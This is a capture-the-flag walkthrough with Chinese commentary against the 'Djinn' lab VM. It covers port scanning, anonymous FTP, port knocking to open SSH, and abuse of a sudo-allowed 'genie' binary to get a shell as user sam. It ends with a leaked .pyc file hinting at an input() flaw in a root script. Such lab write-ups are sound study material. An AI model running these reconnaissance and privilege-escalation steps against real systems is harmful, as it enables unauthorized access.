Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 04:41 EDT Nmap scan report for 192.168.0.183 Host is up (0.00035s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp filtered ssh MAC Address: 08:00:27:97:C1:B4 (Oracle VirtualBox virtual NIC)
ftp $IP Connected to 192.168.0.183. 220 (vsFTPd 3.0.3) Name (192.168.0.183:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||48637|) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt -rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt -rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt 226 Directory send OK. ftp> get creds.txt ftp> get game.txt ftp> get message.txt ftp> exit 221 Goodbye.
┌──(root㉿kali)-[~/Downloads/Djinn] └─# cat game.txt oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize. ┌──(root㉿kali)-[~/Downloads/Djinn] └─# cat message.txt @nitish81299 I am going on holidays for few days, please take care of all the work. And don't mess up anything.
找到提示: Here is your gift , I hope you know what to do with it: 1356, 6784, 3409 联想到刚才的 22 是 filter 的,不会是敲门吧,试试
1 2 3 4 5 6 7 8 9 10 11 12
knock $IP 1356 6784 3409 nmap $IP Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 20:39 EDT Nmap scan report for 192.168.0.183 Host is up (0.00037s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh MAC Address: 08:00:27:97:C1:B4 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds
nmap -p- $IP Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 21:10 EDT Nmap scan report for 192.168.0.183 Host is up (0.00033s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 1337/tcp open waste 7331/tcp open swx MAC Address: 08:00:27:97:C1:B4 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 16.64 seconds
I know you've came to me bearing wishes in mind. So go ahead make your wishes. positional arguments: wish Enter your wish optional arguments: -h, --help show this help message and exit -g, --god pass the wish to god -p SHELL, --shell SHELL Gives you shell -e EXEC, --exec EXEC execute command sudo -u sam /usr/bin/genie -e /bin/bash id You are a noob hacker!! nitish@djinn:~$ sudo -u sam /usr/bin/genie -e id id uid=1000(sam) gid=1000(sam) groups=1000(sam),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)
DESCRIPTION genie would complete all your wishes, even the naughty ones.
We all dream of getting those crazy privelege escalations, this will even help you acheive that.
OPTIONS wish
This is the wish you want to make .
-g, --god
Sometime we all would like to make a wish to god, this option let you make wish directly to God;
Though genie can't gurantee you that your wish will be heard by God, he's a busy man you know;
-p, --shell
Well who doesn't love those. You can get shell. Ex: -p "/bin/sh" -e, --exec Execute command on someone else computer is just too damn fun, but this comes with some restrictions. -cmd You know sometime all you new is a damn CMD, windows I love you. SEE ALSO mzfr.github.io
nitish@djinn:~$ sudo -u sam /usr/bin/genie -cmd id my man!! $ id uid=1000(sam) gid=1000(sam) groups=1000(sam),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare) $ /bin/bash sam@djinn:~$ sam@djinn:~$ id uid=1000(sam) gid=1000(sam) groups=1000(sam),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare) sam@djinn:~$ sudo -l Matching Defaults entries for sam on djinn: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sam may run the following commands on djinn: (root) NOPASSWD: /root/lago
sam 可以以 root 的身份执行 /root/lago ,看看这个文件。
1 2 3 4
sam@djinn:~$ file /root/lago /root/lago: cannot open `/root/lago' (Permission denied) sam@djinn:~$ ls -l /root/lago ls: cannot access '/root/lago': Permission denied
啥也看不见。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
sam@djinn:~$ sudo -u root /root/lago What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:3 Enter the full of the file to read: /etc/shadow User root is not allowed to read /etc/shadow sam@djinn:~$ sudo -u root /root/lago What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:3 Enter the full of the file to read: /root/lago User root is not allowed to read /root/lago
啥也不让看。不过我在输入的地方,按了一下 Ctrl+C ,发现了一个提示。
1 2 3 4 5 6 7 8 9 10 11 12 13
sam@djinn:/opt$ sudo -u root /root/lago What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:^CTraceback (most recent call last): File "/root/lago", line 161, in <module> main(options()) File "/root/lago", line 111, in options choice = input("Enter your choice:") KeyboardInterrupt
sam@djinn:/home/sam$ ls -al total 36 drwxr-x--- 4 sam sam 4096 Nov 14 2019 . drwxr-xr-x 4 root root 4096 Nov 14 2019 .. -rw------- 1 root root 417 Nov 14 2019 .bash_history -rw-r--r-- 1 root root 220 Oct 20 2019 .bash_logout -rw-r--r-- 1 sam sam 3771 Oct 20 2019 .bashrc drwx------ 2 sam sam 4096 Nov 11 2019 .cache drwx------ 3 sam sam 4096 Oct 20 2019 .gnupg -rw-r--r-- 1 sam sam 807 Oct 20 2019 .profile -rw-r--r-- 1 sam sam 1749 Nov 7 2019 .pyc -rw-r--r-- 1 sam sam 0 Nov 7 2019 .sudo_as_admin_successful
sam@djinn:/home/sam$ cat .pyc � ��]c@s}ddlmZddlmZddlmZd�Zd�Zd�d�Z �Z e d krye e ��nd S( i����(tgetuser(tsystem(trandintcCs dGHdS(NsWorking on it!! ((((s/home/mzfr/scripts/exp.pyt naughtyboscCsBtdd�}dGHtd�}||kr9td�ndGHdS(Niies"Choose a number between 1 to 100: sEnter your number: s/sin/shsBetter Luck next time(RtinputR(tnumts((s/home/mzfr/scripts/exp.pytguessit
cCs(t�}td�}d||fGHdS(Ns$Enter the full of the file to read: s!User %s is not allowed to read %s(RR(tusertpath((s/home/mzfr/scripts/exp.pyt readfiless cCs/dGHdGHdGHdGHdGHttd��}|S(NsWhat do you want to do ?s1 - Be naughtys2 - Guess the numbers3 - Read some damn files4 - WorksEnter your choice: (tintR(tchoice((s/home/mzfr/scripts/exp.pytoptionsscCs_|dkrt�nE|dkr,t�n/|dkrBt�n|dkrVdGHndGHdS(Niiiiswork your ass off!!s"Do something better with your life(RRR (top((s/home/mzfr/scripts/exp.pytmain's